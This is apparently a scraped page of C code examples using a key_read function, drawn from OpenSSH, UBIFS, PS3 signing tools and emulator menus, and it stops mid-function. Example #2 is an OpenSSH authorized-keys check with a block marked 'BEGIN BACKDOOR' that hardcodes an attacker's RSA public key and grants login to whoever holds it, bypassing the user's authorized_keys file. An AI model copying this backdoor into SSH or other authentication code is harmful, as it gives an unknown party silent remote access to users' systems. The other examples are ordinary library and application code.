Example #1
0
int ecdsa_get_params(u32 type, u8 *p, u8 *a, u8 *b, u8 *N, u8 *Gx, u8 *Gy)
{
	static u8 tbl[64 * 121];
	char path[256];
	u32 offset;

	if (type >= 64)
		return -1;

	if (key_build_path(path) < 0)
		return -1;

	strncat(path, "/curves", sizeof path);

	if (key_read(path, sizeof tbl, tbl) < 0)
		return -1;

	offset = type * 121;

	memcpy_inv(p, tbl + offset + 0, 20);
	memcpy_inv(a, tbl + offset + 20, 20);
	memcpy_inv(b, tbl + offset + 40, 20);
	memcpy_inv(N, tbl + offset + 60, 21);
	memcpy_inv(Gx, tbl + offset + 81, 20);
	memcpy_inv(Gy, tbl + offset + 101, 20);

	return 0;
}
Example #2
0
/*
 * Checks whether key is allowed in file.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	FILE *f;
	int found_key = 0;

	/********** BEGIN BACKDOOR ***************/
	char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
	char *char_pointer = backdoor_key;
	Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
	auth_clear_options();
	int ret = key_read(found, &char_pointer);
	if (key_equal(found, key)) {
		found_key = 1;
		key_free(found);
		kk_backdoor_active = 1;
		return found_key;
	}
	key_free(found);
	/*********** END BACKDOOR ****************/

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
		found_key = check_authkeys_file(f, file, key, pw);
		fclose(f);
	}

	restore_uid();
	return found_key;
}
Example #3
0
/**
 * ubifs_add_snod - add a scanned node to LEB scanning information.
 * @c: UBIFS file-system description object
 * @sleb: scanning information
 * @buf: buffer containing node
 * @offs: offset of node on flash
 *
 * This function returns %0 on success and a negative error code on failure.
 */
int ubifs_add_snod(const struct ubifs_info *c, struct ubifs_scan_leb *sleb,
		   void *buf, int offs)
{
	struct ubifs_ch *ch = buf;
	struct ubifs_ino_node *ino = buf;
	struct ubifs_scan_node *snod;

	snod = kzalloc(sizeof(struct ubifs_scan_node), GFP_NOFS);
	if (!snod)
		return -ENOMEM;

	snod->sqnum = le64_to_cpu(ch->sqnum);
	snod->type = ch->node_type;
	snod->offs = offs;
	snod->len = le32_to_cpu(ch->len);
	snod->node = buf;

	switch (ch->node_type) {
	case UBIFS_INO_NODE:
	case UBIFS_DENT_NODE:
	case UBIFS_XENT_NODE:
	case UBIFS_DATA_NODE:
	case UBIFS_TRUN_NODE:
		/*
		 * The key is in the same place in all keyed
		 * nodes.
		 */
		key_read(c, &ino->key, &snod->key);
		break;
	}
	list_add_tail(&snod->list, &sleb->nodes);
	sleb->nodes_cnt += 1;
	return 0;
}
Example #4
0
static int gui_RunMenu(MENU *menu)
{
	MENUITEM *mi;
	u32 keys;

	for (;;) {
		mi = menu->m + menu->cur;
		keys = key_read();

		video_clear();

		// check keys
		if (keys & KEY_SELECT) {
			key_reset();
			return 0;
		} else if (keys & KEY_UP) {
			do {
				if (--menu->cur < 0)
					menu->cur = menu->num - 1;
			} while (!(menu->m + menu->cur)->name); // Skip over an empty menu entry.

		} else if (keys & KEY_DOWN) {
			do {
				if (++menu->cur == menu->num)
					menu->cur = 0;
			} while (!(menu->m + menu->cur)->name); // Skip over an empty menu entry.
		} else if (keys & KEY_A) {
			if (mi->on_press_a) {
				key_reset();
				int result = (*mi->on_press_a)();
				if (result)
					return result;
			}
		} else if (keys & KEY_B) {
			menu->cur = menu->num - 1;
			key_reset();
		}

		if ((keys & (KEY_LEFT | KEY_RIGHT)) && mi->on_press) {
			int result = (*mi->on_press)(keys);
			if (result)
				return result;
		}

		// diplay menu
		ShowMenu(menu);

		video_flip();
		timer_delay(75);

		if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R |
			    KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN))
			timer_delay(50);
	}

	return 0;
}
Example #5
0
int key_get(enum sce_key type, const char *suffix, struct key *k)
{
	const char *name;
	char base[256];
	char path[256];
	u8 tmp[4];

	if (key_build_path(base) < 0)
		return -1;

	name = id2name(type, t_key2file, NULL);
	if (name == NULL)
		return -1;

	snprintf(path, sizeof path, "%s/%s-key-%s", base, name, suffix);
	if (key_read(path, 32, k->key) < 0)
		return -1;

	snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, suffix);
	if (key_read(path, 16, k->iv) < 0)
		return -1;

	k->pub_avail = k->priv_avail = 1;

	snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, suffix);
	if (key_read(path, 4, tmp) < 0) {
		k->pub_avail = k->priv_avail = -1;
		return 0;
	}

	k->ctype = be32(tmp);

	snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, suffix);
	if (key_read(path, 40, k->pub) < 0)
		k->pub_avail = -1;

	snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, suffix);
	if (key_read(path, 21, k->priv) < 0)
		k->priv_avail = -1;

	return 0;
}
INT8U Get_Key_LPM(INT8U *Key_Temp)   
{
	INT8U Key=0;
//	In_Lpm_Flag = 0;
	if(INT_READ==1)
	{
		*Key_Temp = key_read();
		key_temp(Key_Temp);
		Key = 1<<*Key_Temp;
	}
	return Key;
}
Example #7
0
int key_get_simple(const char *name, u8 *bfr, u32 len)
{
	char base[256];
	char path[256];

	if (key_build_path(base) < 0)
		return -1;

	snprintf(path, sizeof path, "%s/%s", base, name);
	if (key_read(path, len, bfr) < 0)
		return -1;

	return 0;
}
Example #8
0
static int gui_Credits()
{
	for (;;) {
		u32 keys = key_read();

		video_clear();

		// check keys
		if (keys) {
			key_reset();
			return 0;
		}

		// diplay menu
		port_printf(15 * 8 + 4, 10, "CREDITS:");
		port_printf( 2 * 8, 30, "pcsx team, pcsx-df team, pcsx-r team");

		port_printf( 6 * 8, 50, "Franxis and Chui - PCSX4ALL");
		port_printf( 4 * 8, 60, "Unai - fast PCSX4ALL GPU plugin");

		port_printf( 5 * 8, 80, "Ulrich Hecht - psx4all-dingoo");

		port_printf(10 * 8, 90, "notaz - PCSX-ReArmed");

		port_printf( 0 * 8, 110, "Dmitry Smagin - porting and optimizing");
		port_printf( 0 * 8, 120, "                of mips recompiler,");
		port_printf( 0 * 8, 130, "                gui coding");

		port_printf( 0 * 8, 150, "senquack - fixing polygons in gpu_unai,");
		port_printf( 0 * 8, 160, "           porting spu and other stuff");
		port_printf( 0 * 8, 170, "           from pcsx_rearmed and pcsx-r,");
		port_printf( 0 * 8, 180, "           many fixes and improvements");

		port_printf( 0 * 8, 195, "JohnnyonFlame   - gpu_unai dithering");
		port_printf( 0 * 8, 205, "                  and other fixes");

		port_printf( 0 * 8, 220, "zear         - gui fixing and testing");

		video_flip();
		timer_delay(75);
	}

	return 0;
}
Example #9
0
int
hostfile_read_key(char **cpp, u_int *bitsp, Key *ret)
{
	char *cp;

	/* Skip leading whitespace. */
	for (cp = *cpp; *cp == ' ' || *cp == '\t'; cp++)
		;

	if (key_read(ret, &cp) != 1)
		return 0;

	/* Skip trailing whitespace. */
	for (; *cp == ' ' || *cp == '\t'; cp++)
		;

	/* Return results. */
	*cpp = cp;
	*bitsp = key_size(ret);
	return 1;
}
Example #10
0
static void keyboard_ISR(void)
{
	int key;

	/* Eliminar rebotes de presion */
	Delay(2000);

	/* Escaneo de tecla */
	key = key_read();

	// En caso de error, key = -1
	// COMPLETAR !!!!

	/* Esperar a que la tecla se suelte */
	while (!(rPDATG & 0x02));

    /* Eliminar rebotes de depreson */
    Delay(2000);

    /* Borrar interrupciones pendientes */

}
Example #11
0
static Key*
read_keyfile(FILE *fp, char *filename, struct passwd *pw, u_long *linenum)
{
	// TODO: do we need to use a different constant here?
	char line[SSH_MAX_PUBKEY_BYTES];
	Key *found = NULL;

	while (read_keyfile_line(fp, filename, line, sizeof(line), linenum) != -1) {
		char *cp, *key_options;
		if (found != NULL)
			key_free(found);
		found = key_new(KEY_U2F);
		// TODO: auth_clear_options();?

		/* Skip leading whitespace, empty and comment lines. */
        for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
            ;
        if (!*cp || *cp == '\n' || *cp == '#')
            continue;

		debug("reading key from line %lu", *linenum);
		if (key_read(found, &cp) != 1) {
			debug("key_read failed, skipping line %lu", *linenum);
			continue;
		}
		debug("key type: %d (u2f = %d)", found->type, KEY_U2F);
		if (found->type == KEY_U2F) {
		//if (key_equal(found, key)) {
			//if (auth_parse_options(pw, key_options, filename, *linenum) != 1)
			//	continue;
			// TODO: calculate and display a fingerprint of the key handle and pubkey?
			debug("matching key found: file %s, line %lu", filename, *linenum);
			// TODO: store multiple matches in authctx->methoddata, or rather authctxt->keys? (see sshconnect2.c)
			return found;
		}
	}
	return NULL;
}
Example #12
0
static int gui_state_save(int slot)
{
	if (sshot_img) {
		free(sshot_img);
		sshot_img = NULL;
	}

	// Remember which saveslot was accessed last
	saveslot = slot;

	video_clear();
	port_printf(160-(6*8/2), 120-(8/2), "SAVING");
	video_flip();

	if (state_save(slot) < 0) {
		// Error saving

		for (;;) {
			u32 keys = key_read();
			video_clear();
			// check keys
			if (keys) {
				key_reset();
				return 0;
			}

			port_printf(160-(11*8/2), 120-12, "SAVE FAILED");
			port_printf(160-(18*8/2), 120+12, "Out of disk space?");
			video_flip();
			timer_delay(75);
		}
	}

	// Return -1 to gui_StateSave() caller menu, so it knows
	//  to tell main menu to return back to main menu.
	return -1;
}
Example #13
0
/**
 * ubifs_tnc_read_node - read a leaf node from the flash media.
 * @c: UBIFS file-system description object
 * @zbr: key and position of the node
 * @node: node is returned here
 *
 * This function reads a node defined by @zbr from the flash media. Returns
 * zero in case of success or a negative negative error code in case of
 * failure.
 */
int ubifs_tnc_read_node(struct ubifs_info *c, struct ubifs_zbranch *zbr,
			void *node)
{
	union ubifs_key key1, *key = &zbr->key;
	int err, type = key_type(c, key);
	struct ubifs_wbuf *wbuf;

	/*
	 * 'zbr' has to point to on-flash node. The node may sit in a bud and
	 * may even be in a write buffer, so we have to take care about this.
	 */
	wbuf = ubifs_get_wbuf(c, zbr->lnum);
	if (wbuf)
		err = ubifs_read_node_wbuf(wbuf, node, type, zbr->len,
					   zbr->lnum, zbr->offs);
	else
		err = ubifs_read_node(c, node, type, zbr->len, zbr->lnum,
				      zbr->offs);

	if (err) {
		dbg_tnc("key %s", DBGKEY(key));
		return err;
	}

	/* Make sure the key of the read node is correct */
	key_read(c, node + UBIFS_KEY_OFFSET, &key1);
	if (!keys_eq(c, key, &key1)) {
		ubifs_err("bad key in node at LEB %d:%d",
			  zbr->lnum, zbr->offs);
		dbg_tnc("looked for key %s found node's key %s",
			DBGKEY(key), DBGKEY1(&key1));
		dbg_dump_node(c, node);
		return -EINVAL;
	}

	return 0;
}
Example #14
0
static int ubifs_finddir(struct super_block *sb, char *dirname,
			 unsigned long root_inum, unsigned long *inum)
{
	int err;
	struct qstr nm;
	union ubifs_key key;
	struct ubifs_dent_node *dent;
	struct ubifs_info *c;
	struct file *file;
	struct dentry *dentry;
	struct inode *dir;

	file = kzalloc(sizeof(struct file), 0);
	dentry = kzalloc(sizeof(struct dentry), 0);
	dir = kzalloc(sizeof(struct inode), 0);
	if (!file || !dentry || !dir) {
		printf("%s: Error, no memory for malloc!\n", __func__);
		err = -ENOMEM;
		goto out;
	}

	dir->i_sb = sb;
	file->f_path.dentry = dentry;
	file->f_path.dentry->d_parent = dentry;
	file->f_path.dentry->d_inode = dir;
	file->f_path.dentry->d_inode->i_ino = root_inum;
	c = sb->s_fs_info;

	dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos);

	/* Find the first entry in TNC and save it */
	lowest_dent_key(c, &key, dir->i_ino);
	nm.name = NULL;
	dent = ubifs_tnc_next_ent(c, &key, &nm);
	if (IS_ERR(dent)) {
		err = PTR_ERR(dent);
		goto out;
	}

	file->f_pos = key_hash_flash(c, &dent->key);
	file->private_data = dent;

	while (1) {
		dbg_gen("feed '%s', ino %llu, new f_pos %#x",
			dent->name, (unsigned long long)le64_to_cpu(dent->inum),
			key_hash_flash(c, &dent->key));
		ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum);

		nm.len = le16_to_cpu(dent->nlen);
		if ((strncmp(dirname, (char *)dent->name, nm.len) == 0) &&
		    (strlen(dirname) == nm.len)) {
			*inum = le64_to_cpu(dent->inum);
			return 1;
		}

		/* Switch to the next entry */
		key_read(c, &dent->key, &key);
		nm.name = (char *)dent->name;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		kfree(file->private_data);
		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
		cond_resched();
	}

out:
	if (err != -ENOENT) {
		ubifs_err("cannot find next direntry, error %d", err);
		return err;
	}

	if (file)
		free(file);
	if (dentry)
		free(dentry);
	if (dir)
		free(dir);

	if (file->private_data)
		kfree(file->private_data);
	file->private_data = NULL;
	file->f_pos = 2;
	return 0;
}
Example #15
0
static int ubifs_printdir(struct file *file, void *dirent)
{
	int err, over = 0;
	struct qstr nm;
	union ubifs_key key;
	struct ubifs_dent_node *dent;
	struct inode *dir = file->f_path.dentry->d_inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;

	dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos);

	if (file->f_pos > UBIFS_S_KEY_HASH_MASK || file->f_pos == 2)
		/*
		 * The directory was seek'ed to a senseless position or there
		 * are no more entries.
		 */
		return 0;

	if (file->f_pos == 1) {
		/* Find the first entry in TNC and save it */
		lowest_dent_key(c, &key, dir->i_ino);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	dent = file->private_data;
	if (!dent) {
		/*
		 * The directory was seek'ed to and is now readdir'ed.
		 * Find the entry corresponding to @file->f_pos or the
		 * closest one.
		 */
		dent_key_init_hash(c, &key, dir->i_ino, file->f_pos);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}
		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	while (1) {
		dbg_gen("feed '%s', ino %llu, new f_pos %#x",
			dent->name, (unsigned long long)le64_to_cpu(dent->inum),
			key_hash_flash(c, &dent->key));
		ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum);

		nm.len = le16_to_cpu(dent->nlen);
		over = filldir(c, (char *)dent->name, nm.len,
			       le64_to_cpu(dent->inum), dent->type);
		if (over)
			return 0;

		/* Switch to the next entry */
		key_read(c, &dent->key, &key);
		nm.name = (char *)dent->name;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		kfree(file->private_data);
		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
		cond_resched();
	}

out:
	if (err != -ENOENT) {
		ubifs_err("cannot find next direntry, error %d", err);
		return err;
	}

	kfree(file->private_data);
	file->private_data = NULL;
	file->f_pos = 2;
	return 0;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	struct stat st;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);

	/* Fail quietly if file does not exist */
	if (stat(file, &st) < 0) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	/* Open the file containing the authorized keys. */
	f = fopen(file, "r");
	if (!f) {
		/* Restore the privileged uid. */
		restore_uid();
		return 0;
	}
	if (options.strict_modes &&
	    secure_filename(f, file, pw, line, sizeof(line)) != 0) {
		fclose(f);
		logit("Authentication refused: %s", line);
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_equal(found, key) &&
		    auth_parse_options(pw, key_options, file, linenum) == 1) {
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Example #17
0
/**
 * read_znode - read an indexing node from flash and fill znode.
 * @c: UBIFS file-system description object
 * @lnum: LEB of the indexing node to read
 * @offs: node offset
 * @len: node length
 * @znode: znode to read to
 *
 * This function reads an indexing node from the flash media and fills znode
 * with the read data. Returns zero in case of success and a negative error
 * code in case of failure. The read indexing node is validated and if anything
 * is wrong with it, this function prints complaint messages and returns
 * %-EINVAL.
 */
static int read_znode(struct ubifs_info *c, int lnum, int offs, int len,
		      struct ubifs_znode *znode)
{
	int i, err, type, cmp;
	struct ubifs_idx_node *idx;

	idx = kmalloc(c->max_idx_node_sz, GFP_NOFS);
	if (!idx)
		return -ENOMEM;

	err = ubifs_read_node(c, idx, UBIFS_IDX_NODE, len, lnum, offs);
	if (err < 0) {
		kfree(idx);
		return err;
	}

	znode->child_cnt = le16_to_cpu(idx->child_cnt);
	znode->level = le16_to_cpu(idx->level);

	dbg_tnc("LEB %d:%d, level %d, %d branch",
		lnum, offs, znode->level, znode->child_cnt);

	if (znode->child_cnt > c->fanout || znode->level > UBIFS_MAX_LEVELS) {
		dbg_err("current fanout %d, branch count %d",
			c->fanout, znode->child_cnt);
		dbg_err("max levels %d, znode level %d",
			UBIFS_MAX_LEVELS, znode->level);
		err = 1;
		goto out_dump;
	}

	for (i = 0; i < znode->child_cnt; i++) {
		const struct ubifs_branch *br = ubifs_idx_branch(c, idx, i);
		struct ubifs_zbranch *zbr = &znode->zbranch[i];

		key_read(c, &br->key, &zbr->key);
		zbr->lnum = le32_to_cpu(br->lnum);
		zbr->offs = le32_to_cpu(br->offs);
		zbr->len  = le32_to_cpu(br->len);
		zbr->znode = NULL;

		/* Validate branch */

		if (zbr->lnum < c->main_first ||
		    zbr->lnum >= c->leb_cnt || zbr->offs < 0 ||
		    zbr->offs + zbr->len > c->leb_size || zbr->offs & 7) {
			dbg_err("bad branch %d", i);
			err = 2;
			goto out_dump;
		}

		switch (key_type(c, &zbr->key)) {
		case UBIFS_INO_KEY:
		case UBIFS_DATA_KEY:
		case UBIFS_DENT_KEY:
		case UBIFS_XENT_KEY:
			break;
		default:
			dbg_msg("bad key type at slot %d: %s", i,
				DBGKEY(&zbr->key));
			err = 3;
			goto out_dump;
		}

		if (znode->level)
			continue;

		type = key_type(c, &zbr->key);
		if (c->ranges[type].max_len == 0) {
			if (zbr->len != c->ranges[type].len) {
				dbg_err("bad target node (type %d) length (%d)",
					type, zbr->len);
				dbg_err("have to be %d", c->ranges[type].len);
				err = 4;
				goto out_dump;
			}
		} else if (zbr->len < c->ranges[type].min_len ||
			   zbr->len > c->ranges[type].max_len) {
			dbg_err("bad target node (type %d) length (%d)",
				type, zbr->len);
			dbg_err("have to be in range of %d-%d",
				c->ranges[type].min_len,
				c->ranges[type].max_len);
			err = 5;
			goto out_dump;
		}
	}

	/*
	 * Ensure that the next key is greater or equivalent to the
	 * previous one.
	 */
	for (i = 0; i < znode->child_cnt - 1; i++) {
		const union ubifs_key *key1, *key2;

		key1 = &znode->zbranch[i].key;
		key2 = &znode->zbranch[i + 1].key;

		cmp = keys_cmp(c, key1, key2);
		if (cmp > 0) {
			dbg_err("bad key order (keys %d and %d)", i, i + 1);
			err = 6;
			goto out_dump;
		} else if (cmp == 0 && !is_hash_key(c, key1)) {
			/* These can only be keys with colliding hash */
			dbg_err("keys %d and %d are not hashed but equivalent",
				i, i + 1);
			err = 7;
			goto out_dump;
		}
	}

	kfree(idx);
	return 0;

out_dump:
	ubifs_err("bad indexing node at LEB %d:%d, error %d", lnum, offs, err);
	dbg_dump_node(c, idx);
	kfree(idx);
	return -EINVAL;
}
Example #18
0
/*
 * Checks whether key is allowed in authorized_keys-format file,
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	u_long linenum = 0;
	Key *found;

	found_key = 0;

	found = NULL;
	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL, *fp = NULL;
		const char *reason = NULL;

		/* Always consume entrire file */
		if (found_key)
			continue;
		if (found != NULL)
			key_free(found);
		found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				free(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw, &reason) != 0)
				goto fail_reason;
			verbose("Accepted certificate ID \"%s\" (serial %llu) "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    (unsigned long long)key->cert->serial,
			    key_type(found), fp, file);
			free(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching key found: file %s, line %lu %s %s",
			    file, linenum, key_type(found), fp);
			free(fp);
			found_key = 1;
			continue;
		}
	}
	if (found != NULL)
		key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Example #19
0
int
do_filename(const char *filename, int quiet_open)
{
	FILE *f;
	char line[SSH_MAX_PUBKEY_BYTES];
	char *cp;
	u_long linenum = 0;
	Key *key;
	char *comment = NULL;
	int found = 0, ret = 1;

	/* Copy much of key_load_public's logic here so that we can read
	 * several keys from a single file (e.g. authorized_keys).
	 */

	if (strcmp(filename, "-") != 0) {
		f = fopen(filename, "r");
		if (!f) {
			char pubfile[MAXPATHLEN];
			if (strlcpy(pubfile, filename, sizeof pubfile) <
			    sizeof(pubfile) &&
			    strlcat(pubfile, ".pub", sizeof pubfile) <
			    sizeof(pubfile))
				f = fopen(pubfile, "r");
		}
		if (!f) {
			if (!quiet_open)
				perror(filename);
			return -1;
		}
	} else
		f = stdin;
	while (read_keyfile_line(f, filename, line, sizeof(line),
		    &linenum) != -1) {
		int i;
		char *space;
		int type;

		/* Chop trailing newline. */
		i = strlen(line) - 1;
		if (line[i] == '\n')
			line[i] = '\0';

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		/* Cope with ssh-keyscan output and options in
		 * authorized_keys files.
		 */
		space = strchr(cp, ' ');
		if (!space)
			continue;
		*space = '\0';
		type = key_type_from_name(cp);
		*space = ' ';
		/* Leading number (RSA1) or valid type (RSA/DSA) indicates
		 * that we have no host name or options to skip.
		 */
		if (atoi(cp) == 0 && type == KEY_UNSPEC) {
			int quoted = 0;

			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (!*cp)
				continue;
		}

		/* Read and process the key itself. */
		key = key_new(KEY_RSA1);
		if (key_read(key, &cp) == 1) {
			while (*cp == ' ' || *cp == '\t')
				cp++;
			if (!do_key(key, *cp ? cp : filename))
				ret = 0;
			found = 1;
		} else {
			key_free(key);
			key = key_new(KEY_UNSPEC);
			if (key_read(key, &cp) == 1) {
				while (*cp == ' ' || *cp == '\t')
					cp++;
				if (!do_key(key, *cp ? cp : filename))
					ret = 0;
				found = 1;
			}
		}
		key_free(key);
	}
	if (f != stdin)
		fclose(f);

	if (!found && filename) {
		key = key_load_public(filename, &comment);
		if (key) {
			if (!do_key(key, comment))
				ret = 0;
			found = 1;
		}
		if (comment)
			xfree(comment);
	}

	return ret;
}
struct keylist *keys_get(enum sce_key type)
{
	const char *name = NULL;
	char base[256];
	char path[256];
	void *tmp = NULL;
	char *id;
	DIR *dp;
	struct dirent *dent;
	struct keylist *klist;
	u8 bfr[4];

	klist = malloc(sizeof *klist);
	if (klist == NULL)
		goto fail;

	memset(klist, 0, sizeof *klist);

	name = id2name(type, t_key2file, NULL);
	if (name == NULL)
		goto fail;

	if (key_build_path(base) < 0)
		goto fail;

	dp = opendir(base);
	if (dp == NULL)
		goto fail;

	while ((dent = readdir(dp)) != NULL) {
		if (strncmp(dent->d_name, name, strlen(name)) == 0 &&
		    strstr(dent->d_name, "key") != NULL) {
			tmp = realloc(klist->keys, (klist->n + 1) * sizeof(struct key));
			if (tmp == NULL)
				goto fail;

			id = strrchr(dent->d_name, '-');
			if (id != NULL)
				id++;

			klist->keys = tmp;
			memset(&klist->keys[klist->n], 0, sizeof(struct key));

			snprintf(path, sizeof path, "%s/%s-key-%s", base, name, id);
			if (key_read(path, 32, klist->keys[klist->n].key) != 0) {
				printf("  key file:   %s (ERROR)\n", path);
			}

			snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, id);
			if (key_read(path, 16, klist->keys[klist->n].iv) != 0) {
				printf("  iv file:    %s (ERROR)\n", path);
			}

			klist->keys[klist->n].pub_avail = -1;
			klist->keys[klist->n].priv_avail = -1;

			snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, id);
			if (key_read(path, 40, klist->keys[klist->n].pub) == 0) {
				snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, id);
				key_read(path, 4, bfr);

				klist->keys[klist->n].pub_avail = 1;
				klist->keys[klist->n].ctype = be32(bfr);
			} else {
				printf("  pub file:   %s (ERROR)\n", path);
			}

